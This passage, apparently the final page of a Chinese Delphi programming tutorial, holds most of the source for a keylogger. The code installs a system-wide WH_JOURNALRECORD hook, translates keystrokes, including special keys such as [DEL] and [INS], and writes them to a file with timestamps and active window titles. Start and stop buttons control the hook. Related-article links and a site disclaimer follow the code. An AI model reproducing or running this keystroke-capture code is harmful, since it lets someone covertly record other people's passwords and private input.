|
bsp; strcopy(str,''''[PD]'''');
end;
35:
begin
strcopy(str,''''[END]'''');
end;
36:
begin
strcopy(str,''''[HOME]'''');
end;
37:
begin
strcopy(str,''''[LF]'''');
end;
38:
begin
strcopy(str,''''[UF]'''');
end;
39:
begin
strcopy(str,''''[RF]'''');
end;
40:
begin
strcopy(str,''''[DF]'''');
end;
45:
begin
strcopy(str,''''[INS]'''');
end;
46:
begin
strcopy(str,''''[DEL]'''');
end
else
ch:=''''n'''' ;
end; if (ch<>''''n'''') then begin
if (g_PrvChar <> chr(vKey)) then begin
write(txt,str);
g_PrvChar:= chr(vKey);
end;
end;
end; end; if (evt^.message=WM_LBUTTONDOWN) or (evt^.message=WM_RBUTTONDOWN) then begin
hFocus := GetActiveWindow();
if (g_hLastFocus<>hFocus) then begin
g_hLastFocus := hFocus;
GetWindowText(hFocus,szTitle,256);
strcopy(szTime,Pchar(DateTimeToStr(now)));
write(txt,#10,szTime,#32,#32,szTitle);
write(txt,#32,#32);
end;
end; CloseFile(txt);
result := CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if g_hLogHook=0 then begin
g_hLogHook := SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,HInstance,0);
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if g_hLogHook<>0 then begin
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook:= 0;
end;
end; end.
上一页 [1] [2] [3]
[Delphi程序]Delphi(BCB)中编译器版本宏定义 [Delphi程序]如何用Tprinter设计BCB操作数据库程序中的报表
[Delphi程序]Delphi&BCB一线程序员开发经验 [Web开发]ADO多表更新BCB實現
[Sql Server]BCB 6 sp4 + SQL Server 2k 存取JPEG图像，绝对好…
|
注：本站部分文章源于互联网，版权归原作者所有！如有侵权，请原作者与本站联系，本站将立即删除！ 本站文章除特别注明外均可转载，但需注明出处！ [MinTao学以致用网] 
